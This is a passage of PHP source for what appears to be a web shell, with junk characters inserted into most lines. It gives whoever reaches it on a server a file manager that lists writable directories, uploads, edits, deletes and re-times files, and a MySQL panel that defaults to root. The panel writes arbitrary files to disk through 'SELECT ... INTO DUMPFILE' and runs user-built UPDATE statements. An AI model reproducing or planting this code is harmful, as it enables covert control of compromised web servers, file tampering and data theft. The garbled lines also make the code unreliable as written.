! `( X7 i0 L& ?. K3 l t& ]. ^ - makehide('newperm');2 |3 \3 T/ ]- C( w; I) }
- makehide('pfile');
9 S/ r% Y; S* E5 J" Q - makehide('dir',$nowpath);
0 V6 k7 ~% J) b" r% K( d2 v5 w - formfoot();% S# Q1 u9 @6 F4 L( p1 L: ^; N7 M9 K
- formhead(array('name'=>'copyfile'));8 @5 ~# l) p j/ k/ M" g6 R
- makehide('sname');
5 A2 E! S- ~6 f b1 k - makehide('tofile');
$ S9 |; l7 Q- k' [7 b2 R/ m, y - makehide('dir',$nowpath);! L2 x. C( B6 z* p
- formfoot();
- z- n% d: u# M6 N6 H& ?6 s - formhead(array('name'=>'rename'));
Q' m- T/ P2 e- C5 B - makehide('oldname');% r3 C1 h7 W' G, z/ L. U r' Q2 `0 w
- makehide('newfilename');
" k/ V* V" o! ~3 {3 W - makehide('dir',$nowpath);
6 P K- |- l' \( F9 ^ - formfoot();6 G# ~ @( d3 W1 ]; q" H# J4 ]+ o0 K
- formhead(array('name'=>'fileopform'));8 F$ b7 \$ k7 P" I0 e" V3 O
- makehide('action');" [9 r. C/ J% d) |. o' s
- makehide('opfile');
1 z# I* `7 F4 q( y7 }3 b3 ^ - makehide('dir');1 e/ i3 z+ a. X3 w3 s
- formfoot();+ ?# e' S: d, b1 q
-
5 Y& `2 ?+ n9 x$ f1 }2 v - $free = @disk_free_space($nowpath);8 t' D6 O8 e8 A1 T# n
- !$free && $free = 0;
6 Y- r3 |2 m, i$ \% Q+ ?, I - $all = @disk_total_space($nowpath); H7 {7 q! T9 T' T
- !$all && $all = 0;
( j" _! D6 Q# A - $used = $all-$free; ~/ d$ V/ d& \; I; P, s4 M4 C
- $used_percent = @round(100/($all/$free),2);: M# Q9 l& O+ O5 e
- p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');4 t: k5 N" B$ j9 m9 w8 l
-
7 \% v( u# r2 N% u+ [+ h: ` - ?>5 ^$ _4 E* [. Q l
- <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
/ t* @5 b' K6 H0 q9 o# Q% ?3 C - <form action="" method="post" id="godir" name="godir">
& {: |# f1 s9 {& ]: M6 R; I' K; Q - <tr>
+ l; Q1 F) y# S9 f1 {, _ - <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
$ r! F* i0 T5 m. t j3 l# m - <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>0 M. G$ C5 A8 k. J/ u4 b5 y+ g
- <td nowrap><input class="bt" value="GO" type="submit"></td>* D5 p( X2 H. b$ ]& n5 v
- </tr>4 A, h0 U* V7 e6 a. y$ \
- </form>. a( ]. Z% Z' c( W3 e
- </table>$ r% }# a) _! e; I$ e3 v+ t
- <script type="text/javascript">& c5 v9 @3 ~6 H" v, L. A- w% A
- function createdir(){
# m7 c+ N* _$ K - var newdirname;
4 ]8 T& | e# e. {8 W - newdirname = prompt('Please input the directory name:', '');
6 W7 M4 D; _; ?5 Q) l$ V% v - if (!newdirname) return;
4 V! i' u5 _) ]4 m - $('createdir').newdirname.value=newdirname;; z6 V, Y. [) P, y- B, G' J1 M
- $('createdir').submit();
& v2 v( T: g# N - }
O+ X, y+ C0 P; ^3 z4 X - function fileperm(pfile){
8 ]" b: i4 V6 ~+ `$ M! s8 N - var newperm;
& d/ S. `7 L. g: o& `; v- S9 D - newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
* }9 X7 J% n) I: N - if (!newperm) return;
( t3 ]4 R8 o; h! |+ n - $('fileperm').newperm.value=newperm;
t6 e2 ]( J4 p% Q' g: E; N& y( r - $('fileperm').pfile.value=pfile;
! W) v( I! U6 S' L! d: u9 c6 n - $('fileperm').submit();
8 E: P0 u" }" M. ?# {' J6 d: S. [ - }
, ~7 P' W# O( C - function copyfile(sname){# G" N' G s+ k9 {- H" t
- var tofile;
7 b1 [7 _) R# z& V# K2 d: e# } - tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');: u5 z2 N$ A& a( L' ?: T
- if (!tofile) return;& G% a; f/ }, c1 Z" a. j8 I& r
- $('copyfile').tofile.value=tofile;7 g9 n! t6 {2 Y) {
- $('copyfile').sname.value=sname;
u* L. Y$ |# n& Z. K$ G& { - $('copyfile').submit();! W+ {, L' W9 O- D& T% _. |
- }7 v) g5 q4 u$ n. v0 u
- function rename(oldname){/ f! ?4 w2 y# w3 `
- var newfilename;
8 Z% q9 z# g% Q v - newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');/ C* q4 j4 U) ^$ b1 J+ D
- if (!newfilename) return;
3 q! B* U" }4 } - $('rename').newfilename.value=newfilename;6 R$ k B, k0 t# [2 L
- $('rename').oldname.value=oldname;) f8 w8 t+ F( k; O
- $('rename').submit();% V( \/ ?) [* f: y) e
- }
# t' t4 ]7 L/ q9 R - function dofile(doing,thefile,m){
/ {) f6 w. ]( T/ \6 G& n' T - if (m && !confirm(m)) {$ y' B D* f2 O; i$ g5 p, h% V
- return;$ [) X2 W) I! P
- }( H7 I% B, t" {7 B' j
- $('filelist').doing.value=doing;9 o! `" p! w5 { U2 X, F5 o9 ~
- if (thefile){
" {4 ]# T8 \7 J2 ~ - $('filelist').thefile.value=thefile;
+ L) V; [8 U" u0 ~ - }
& l5 n, t$ i& Q" o - $('filelist').submit();
- ~9 |* k& c8 H( H6 a. Q. M - }6 T/ ?( q/ m# `) C3 x/ \; G" r
- function createfile(nowpath){6 d9 q* H; n5 B
- var filename;3 h4 M8 Z) s1 y2 s- c9 l
- filename = prompt('Please input the file name:', '');
$ b: f$ Q$ j* G1 u- ` - if (!filename) return;3 |2 R3 q% M8 u6 p( r% [0 K- N. }
- opfile('editfile',nowpath + filename,nowpath);; c0 Q, w0 ]( |! p/ F4 s
- }6 B1 _" B% U2 Q& P+ ~1 N
- function opfile(action,opfile,dir){
, H( {! O! T% w( S6 ]( e. T - $('fileopform').action.value=action;
$ p# W4 C0 L5 o8 R - $('fileopform').opfile.value=opfile;
$ k5 q3 Z, T1 [% v) `' ~6 Z0 Q& ` - $('fileopform').dir.value=dir;
1 _& I4 h# P' J0 A7 f/ h! L - $('fileopform').submit();: r4 c: N* e9 \0 e
- }+ b+ t W" f- |& q! j) w
- function godir(dir,view_writable){
. j. T, [4 w, ^: _0 w1 l - if (view_writable) {7 |$ t% L) J' X4 p4 V
- $('godir').view_writable.value=1;
; d5 r/ z+ V2 J - }7 J4 Z( j5 A' Z
- $('godir').dir.value=dir;
" f; n% B4 K( c }# d - $('godir').submit();+ l0 {; Y; |3 Z) c% g5 q/ H
- }
7 @- M! h8 k, f* F. L/ N - </script>
4 E, R6 s: o U' U+ p - <?php/ N2 r0 P% @" C# w
- tbhead();
$ @/ w) [; j& c# a0 T# A- l8 b& i - p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
/ v/ _' l Z" C - p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');3 W1 `. e8 N: O4 z0 }
- p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
( z3 O- r' |/ d - if ($view_writable) {
4 w B( t3 \4 Z; W% a* i - p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
6 k, G& w3 R, L; s3 D - } else {
, c+ C) q* B6 R7 L! \2 r" u; i - p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
' i# e4 Y! q H. U* D) L - }, _! h! D6 J% a7 G# L6 T
- p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');6 _. W7 e) `! ~+ K- Z0 y% P7 R
- if (IS_WIN && IS_COM) {% V* a% e# D0 j, F& Q O8 G
- $obj = new COM('scripting.filesystemobject');
: i% r7 g) @* p1 i( W( p - if ($obj && is_object($obj)) {
6 C! c) i# T* V% U+ y6 K! V - $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
8 Y* W: n2 X, J( u* g% }+ N - foreach($obj->Drives as $drive) {
# e+ x" K! K; W7 M: S - if ($drive->DriveType == 2) {: y/ S$ U/ v$ n, J" I
- p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).') g, `* z3 C! e7 X3 |2 b
- Free:'.sizecount($drive->FreeSpace).'
3 y3 v) n! I3 V - Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
G0 j2 j: I3 }. l( y' M - } else {
% B, C0 [; G2 u; V1 G2 C. S7 t0 Y - p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');; q3 ?6 D: n, a7 Z
- }# z. t' r1 u# N& m: [" ^; u
- }
' }1 I7 h G8 Q+ ]3 S - }* {+ I4 v, P% k W6 j
- } Z0 y) p( A, ?& z) m6 u9 ~+ Q c
- * ?1 r$ }# s/ e" l3 D
- p('</td></tr></form>');3 H1 C/ b( N: }0 f$ v
-
, N% `; K) ^! c Y! o4 m - p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
7 ^9 Q1 c$ b) |' ]- k& b) @ -
/ @2 ^ ^4 {, N7 S - //查看所有可写文件和目录! X- j6 d+ m! @; l& P4 E) q
- $dirdata=array();
% N9 Y( R: l5 Q3 s5 r - $filedata=array();
3 \2 O9 B1 k1 a - + `8 Z& e, F" G
- if ($view_writable) {
- @) h! j+ `7 n5 y+ K - $dirdata = GetList($nowpath);
5 f! c0 k9 A% }) G V8 l; X - } else {
. n; r$ w5 V& }: j$ q: y8 z - // 目录列表
7 V7 u& j& ]3 i9 ] - $dirs=@opendir($dir);8 e" C6 B5 Q/ |) _& s
- while ($file=@readdir($dirs)) {
% X* C& G% ?* F - $filepath=$nowpath.$file;/ T1 c5 }' A* A+ q2 y) L& S
- if(@is_dir($filepath)){
8 I+ V+ w8 O9 O! Z0 D - $dirdb['filename']=$file;% K% |( D n9 x8 D5 n+ R" `$ ~
- $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
- j% M, |- o* t: X: p% F* T - $dirdb['dirchmod']=getChmod($filepath);! _6 L4 T Y; h. I$ a2 g7 {% S
- $dirdb['dirperm']=getPerms($filepath);* g& b! \. C9 U# z" ]5 T& b, {
- $dirdb['fileowner']=getUser($filepath);
+ c* m. b5 K% ^, p3 f+ ? - $dirdb['dirlink']=$nowpath;5 Q1 F6 v8 Z0 O; D2 j' j* q
- $dirdb['server_link']=$filepath;" P- ?% [; g/ h9 {$ Z9 v# x
- $dirdb['client_link']=ue($filepath);2 b) d' d q. {: M' u! e
- $dirdata[]=$dirdb;+ D% P6 \6 j5 {( `3 Q* y
- } else { # f4 m* r a" I/ F6 t' h4 u
- $filedb['filename']=$file;
$ z& h5 d$ B: c) X+ ] - $filedb['size']=sizecount(@filesize($filepath));
, Z, i1 Y |% g; H# d& m8 L) E* V - $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
9 _4 {, m0 l: ~6 K7 e - $filedb['filechmod']=getChmod($filepath);
5 I9 l6 d- _: ]! G) @* z' W - $filedb['fileperm']=getPerms($filepath);0 A; G" y' p8 I- R! z( I* \8 C; E
- $filedb['fileowner']=getUser($filepath);
6 w* M% w- w& F3 L( F - $filedb['dirlink']=$nowpath;
5 l: \0 }. o3 P - $filedb['server_link']=$filepath;3 ^0 \" [5 e1 b5 }4 v
- $filedb['client_link']=ue($filepath);1 b% T, k) J0 l% k; L9 C
- $filedata[]=$filedb;
0 `8 p- Y/ o, G% H6 [. B+ w - }
7 q3 U0 Z# F! _6 Z( C - }// while9 q* }( g; X- B N& n0 J6 c3 R- v
- unset($dirdb);
9 Q, @. U s1 x G - unset($filedb);
/ x# z# `$ z7 r3 p! c+ R- E' D - @closedir($dirs);9 |. c" W/ Z' e. m3 F1 S! V ~( o; w
- }; @2 Y" J9 d" r* Q
- @sort($dirdata);
$ ~8 h u' ?; M8 u& Y6 A - @sort($filedata);6 ?7 i6 S7 _( n4 \+ F% U
- $dir_i = '0';
# _. k: |/ x8 G \! T: J3 ^' u, L - foreach($dirdata as $key => $dirdb){: G! E1 u+ }# c: @% Y0 b
- if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
4 _0 o3 P/ N8 U) F7 z" h9 o, W( v - $thisbg = bg();
3 ~0 D" N+ j4 M - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');* c+ F$ A. P, P2 [- C
- p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');, M+ _0 |! g; V6 Q
- p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
9 X; R) H! i# x, H) H3 R - p('<td nowrap>'.$dirdb['mtime'].'</td>');0 |& k8 G: I7 A9 \! f
- p('<td nowrap>--</td>');; ?0 ?+ w# E; s# d5 V, m1 a7 A9 }$ t
- p('<td nowrap>');2 l6 t3 q' ^- z* \+ L
- p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');+ { ?) q% v* z) U8 ~
- p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');0 h! x5 P$ I2 W. [* c# R$ t( C: c& h( Z
- p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');& ?' h8 z# `$ ~
- p('</tr>');
8 k* T \0 V& X+ i& o& z2 P - $dir_i++;2 e2 y& `5 n: m& ~) A0 _
- } else { r! _" x$ K" P
- if($dirdb['filename']=='..') {
. O" h7 u6 m. r - p('<tr class='.bg().'>');
4 @$ z/ ~, z. P9 F0 ~4 g$ @' `8 E - p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
9 |/ _% H& ^& A; u* C( r - p('</tr>');, M5 Q c r3 Y5 v. S) U2 u; n/ W, l
- }
- K% |' t1 X& m: Z1 E4 |* \7 _ - }* B6 l' y4 J% t+ i
- }
- J( b# |9 Y0 J4 { -
# v$ s1 A5 k. ~ - p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
/ I$ v3 p ]) L* i% W; @ - p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
. R! h z% {% ?; b" j6 o" [2 G - makehide('action','file');
% W( ~: g; b* g6 E$ q: u& z - makehide('thefile');# T* D+ D I% s; r7 l4 F) f m
- makehide('doing');2 z5 V% z% ?2 X* _/ P
- makehide('dir',$nowpath);+ ^2 M* g& x# k# G
- $file_i = '0';
: ]7 L1 v' j( }$ V1 w% u - foreach($filedata as $key => $filedb){
- A$ ?: ]) ]+ W, Z6 u - if($filedb['filename']!='..' && $filedb['filename']!='.') {
' r& V( i3 {- ?. {0 q$ \ - $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);0 d* o( v% L$ [* t
- $thisbg = bg();6 }* Y# u$ y' C; d" n3 h
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');/ ?7 A% n5 E, H( u# O
- p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');+ |7 a: Y* G ^# w
- p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
# g4 g& y F# D( ^ - p('<td nowrap>'.$filedb['mtime'].'</td>');, z/ V9 u( r w' y* D, F+ |
- p('<td nowrap>'.$filedb['size'].'</td>');. Y# Z! S7 @' K( w) }
- p('<td nowrap>');
0 ?% I' C- o3 D1 b! a - p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
; `& b& J( w5 H$ X* _% ` - p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');5 |. C. R. c/ F. r0 I+ _1 Z5 X+ ~; ]
- p('<td nowrap>');
4 Y6 [. ?+ B2 {! T - p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
1 k1 o4 _2 V/ m" \" F# _2 Q - p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');+ W) D2 X( g! b: f6 @
- p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');$ I$ N+ O- N& q7 ?
- p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
$ j3 w/ o4 [7 j0 q* N' \ - p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
I/ s. G9 G9 ? j - p('</td></tr>');. [5 ~7 u) D5 g+ \
- $file_i++;
1 l7 V1 e- ~+ f. X - }9 Z+ v$ e+ F# X$ g8 ?
- }
; ~+ N# o, k8 J$ z - p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');! V* U) |1 i. n( _5 @- L' d( C
- p('</form></table>');
9 o* \* F& v- b - }// end dir
0 {; o8 C1 `0 W - 7 S5 l: X1 J9 a5 I
- elseif ($action == 'sqlfile') {
8 F+ @" V% L; B7 H) F; v - if($doing=="mysqlupload"){4 \1 |, m+ L- X2 }+ n- _- F
- $file = $_FILES['uploadfile'];4 m8 J8 u4 {; X2 l
- $filename = $file['tmp_name'];
3 @4 T3 c+ q8 G u- w: @ - if (file_exists($savepath)) {8 [. V' m( }9 U3 Q% h
- m('The goal file has already existed');
3 r% n. C6 u+ v& v - } else {
$ N! }, Q+ B" D# @" o - if(!$filename) { I. \2 d& b4 K9 o; B+ G+ z6 J/ k t
- m('Please choose a file');
l- I) M- r) d) c! ^9 R6 r - } else {
! T. | | t. W. g: A - $fp=@fopen($filename,'r');
Q( A; u2 Q, z' A. Y+ a. { - $contents=@fread($fp, filesize($filename));
. G5 G% `9 B( N' h0 i1 x - @fclose($fp);
5 E( C( h6 {( `5 s) W. A/ ^, X - $contents = bin2hex($contents);+ r" Y; U; c+ ^2 o) [, o
- if(!$upname) $upname = $file['name'];
! I5 V5 P# ]5 _ n9 H3 A j8 d - dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);2 H3 x8 p' s1 j& n
- $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");- C3 O/ u- ^ J9 }+ r- }$ Q) v
- m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());, d" ~$ i }* y( q: S3 Z
- }) C7 `* u; y* N7 [% j4 y: q
- }4 K1 L+ N4 A, p9 K3 v
- }3 ]. [8 M3 G F- n2 h+ \$ z) E
- ?>: d+ c) E" f# d
- <script type="text/javascript">
) z' d8 x; ]& d' E% j$ C - function mysqlfile(doing){7 ~& W- d4 x! [
- if(!doing) return;
$ ^) G3 o) a4 {5 T8 }* l, a& } - $('doing').value=doing;! V/ G* h) G R4 K. d5 ^# Y
- $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
0 U; V' g Y6 ]6 [. i - $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
' I+ K$ y5 l1 r - $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;! W8 D; }% Z+ F. q7 B
- $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;4 J) x e8 B! B+ ^) D+ ^
- $('mysqlfile').dbname.value=$('dbinfo').dbname.value;- h* {7 S- Z- J) M' @
- $('mysqlfile').charset.value=$('dbinfo').charset.value;
$ P! }6 r0 W X - $('mysqlfile').submit();
4 F" ~; f) b( j% `4 K$ ? - }
- X5 K6 \: D% u. m% \. j, c# ]+ Z t - </script>
2 O5 s. s; t% o) }) ?7 a: n - <?php3 b- e3 l" x8 p3 {
- !$dbhost && $dbhost = 'localhost';/ a0 D+ x% {) o' W
- !$dbuser && $dbuser = 'root';* U( B f5 R4 F$ s
- !$dbport && $dbport = '3306';
0 v0 k4 E& h0 U - $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
" B- i( i# y# t1 y3 t* Q - formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
1 S2 p6 z' A0 X2 P$ t# r - makehide('action','sqlfile');3 V) p5 d0 ?% {- r* r5 h0 Z
- p('<p>');+ v$ n7 ^2 l7 u, c* \% X) q3 T( I5 {* N
- p('DBHost:');
; x+ ~ T/ y7 q7 u/ u4 [( ^ - makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
4 y, V, X8 ]& j, ]9 x" h# Q# b" L - p(':');
: `4 S: O5 I2 {/ b0 E. | - makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));/ u% G" Z$ ~0 X6 d
- p('DBUser:');8 j- d' ], w/ g- @+ \. S
- makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
- k5 E, `, ]6 A) L8 f - p('DBPass:');
1 B, o2 z' b$ j - makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
8 e- ~6 M7 e; R7 M - p('DBName:');4 U7 s! V9 z" O6 }$ ~1 ?
- makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));7 b& j. }9 M, f9 W+ x2 F
- p('DBCharset:');
' p5 y' g( X7 s, k - makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));4 ?' O! ~* a" Y: c+ H/ b; Q6 P
- p('</p>');# ?7 Q' B. j1 T d
- formfoot();% G" \( _( S8 z/ e0 ?8 `3 s$ y O
- p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
' b9 m N) L0 Y8 k; T: u - p('<h2>Upload file</h2>');
, o# B: I( Q1 Z, U& _$ D) \: F$ H - p('<p><b>This operation the DB user must has FILE privilege</b></p>');
. a! o9 T6 x6 g' X" C3 W& t - p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
6 h' m+ b' i% L - p('<h2>Download file</h2>');2 ]/ {7 t% q+ K4 H9 _4 S" {# Z
- p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>'); p( y- t: E9 y# ~) u1 G& W/ b
- makehide('dbhost');" m4 W1 j" c2 ^8 w
- makehide('dbport');
: D" e/ F! l/ {% ]. f: B - makehide('dbuser');
$ m* o1 }, U6 y6 @( d9 u) L - makehide('dbpass');9 [3 C. m0 |3 i% y9 B, }
- makehide('dbname');
2 ]+ p6 q( x7 B9 m& G% n" g - makehide('charset');9 \( y- ^" k5 [; z- p
- makehide('doing');
# u ?6 _: u4 i7 I! ?% U - makehide('action','sqlfile');1 U. T$ W) `- y+ D7 `7 `& z
- p('</form>');# p, j2 I8 I" r; U
- }3 {$ {' ]3 T2 U, V# U2 X8 j8 \ {
- 5 k# _1 q5 K3 M
- elseif ($action == 'sqladmin') {1 I, \& I1 S$ ~! q+ I
- !$dbhost && $dbhost = 'localhost';/ z0 w3 j- ^0 Q& P* o! I: Q' Q
- !$dbuser && $dbuser = 'root';
' ^4 G' q9 _* B. F6 H - !$dbport && $dbport = '3306';6 x. |5 c: ~ x, a1 S7 k
- $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
: j$ a1 K) k- i* o2 q - if(isset($dbhost)){0 Y" [# Q8 y$ V" ~
- $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";+ m* w- ?4 e9 g5 t1 T/ U% s* Z
- }
0 r j; U& Q7 S( t6 ?% r# j - if(isset($dbuser)) {- U4 P0 u: H2 J, J2 P
- $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";
( T$ O# u& [) z# P" m5 I% k* S - }
/ w' M; n4 G0 }# E# s! D - if(isset($dbpass)) {& ~: W1 p( m$ m6 Y/ R
- $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";# ?! `* e6 ~' U5 V1 p4 ^9 c3 m- ]* I
- }) \+ n- t- E$ ?. w; D l- b
- if(isset($dbport)) {# \) N9 a6 c+ y. w! |% W% ?9 v
- $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";! z6 I( z# d* H6 N
- }' @, P$ y/ }" X; F
- if(isset($dbname)) {
2 |& R4 I3 x: _& F! g: G* w - $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";( V [7 ~& k) t) m! ~/ n/ R& ^
- }. p- b+ b! ^1 [. X
- if(isset($charset)) {' `( V& c$ J: ~$ a" e
- $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";- q, `/ n& ]; a5 `
- }: _1 Z# Q. e/ Q) l. L3 D# i4 K0 ^
-
/ I. R# z$ r) E4 F- I* k | - if ($doing == 'backupmysql' && $saveasfile) {% X) T' V3 {: n2 V7 d% H% `
- if (!$table) {
$ e" k1 [7 s8 X4 a) p: g - m('Please choose the table');4 S/ D) g; G: o- [; m; Q# ^
- } else {
! Q- H% g- @8 V& F1 t) L - dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
. U0 {/ Z( v- {) Q% K6 d/ ?6 y - $table = array_flip($table);+ Q; \: J1 E- n0 b; ^
- $fp = @fopen($path,'w');) H2 n. ^0 a- x3 N: \4 m( o
- if ($fp) { U5 o- H/ E( I9 J
- $result = q('SHOW tables');
( n8 E$ y' n. [; Y2 k - if (!$result) p('<h2>'.mysql_error().'</h2>');6 ?7 G9 }! o* o3 b
- $mysqldata = '';5 g: f r, z3 [" X4 l, h
- while ($currow = mysql_fetch_array($result)) {
+ e6 N: }: I; r" E2 Z6 `6 N1 _6 G( [ - if (isset($table[$currow[0]])) {- K, \, {% X! g F& j+ w. ]
- sqldumptable($currow[0], $fp);; r9 D& Q% e1 g& N8 v. n
- }6 K& D+ I5 h; [4 N( V9 d
- }
4 v' D. h9 x7 i- ? - fclose($fp);
' y7 I" L5 A. k - $fileurl = str_replace(SA_ROOT,'',$path);
3 I4 g4 Y$ S! k3 c/ v& b& F6 p - m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');; Z) h3 \% O0 F8 ^ K' z
- mysql_close();0 a l4 |7 f1 L8 c$ z* h# W ~9 F
- } else {
/ }0 [$ f- B0 C. j - m('Backup failed');# d: x' ?; H; e+ U4 M
- }, W" t" o, {# A2 c. i( d/ R a8 B; v
- }6 g; y4 t- Q. t' Z& M* @
- }* s2 ?5 d; v+ E6 `
- if ($insert && $insertsql) {1 q& h$ S" R5 A1 P+ }
- $keystr = $valstr = $tmp = '';
4 u, R2 b1 X. J8 W. _/ {8 q+ F - foreach($insertsql as $key => $val) {
^/ `; |( q& E8 l - if ($val) {2 i- F1 N! V( B+ K- H
- $keystr .= $tmp.$key;
: w! j: |* T& f - $valstr .= $tmp."'".addslashes($val)."'";
* l/ u" v' R( ~2 z% i/ X8 i$ y - $tmp = ',';
+ r) k- v) y9 D2 \% m - }
' e) o* U8 J: ]* M5 b6 C - }
; V7 Q3 ^5 f: V1 t4 h, p3 L - if ($keystr && $valstr) {7 j+ D+ t j; r7 L& \& G
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
- b( a- n' t7 P9 z& _) q - m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
9 I8 h( O" K8 q5 G4 v - }3 x; _5 L% d# q
- }
- X2 V6 |$ m- O& ~ - if ($update && $insertsql && $base64) {
5 G. `! {! J2 z/ R3 m - $valstr = $tmp = '';
' i) c5 k0 D/ ?, p! y+ w7 O7 K6 z - foreach($insertsql as $key => $val) {
6 I! b6 n/ N5 u5 d+ v! ^ - $valstr .= $tmp.$key."='".addslashes($val)."'";5 j% t8 {+ G* z4 S F, Y R
- $tmp = ',';
" T/ c) f8 r- x) y - }
1 u2 G# x3 o- }" ? a$ Q - if ($valstr) {
9 k- _+ Z1 \" N$ V c - $where = base64_decode($base64);' C1 b$ Y' E9 ~1 \8 o" Z. g4 ]3 E
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
$ J n& B+ I- X" `" r7 Q2 n* n1 D6 U - m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());: |( n" J9 b( r; c/ k6 ^4 O
- }5 j' j- V4 c3 I: M! c
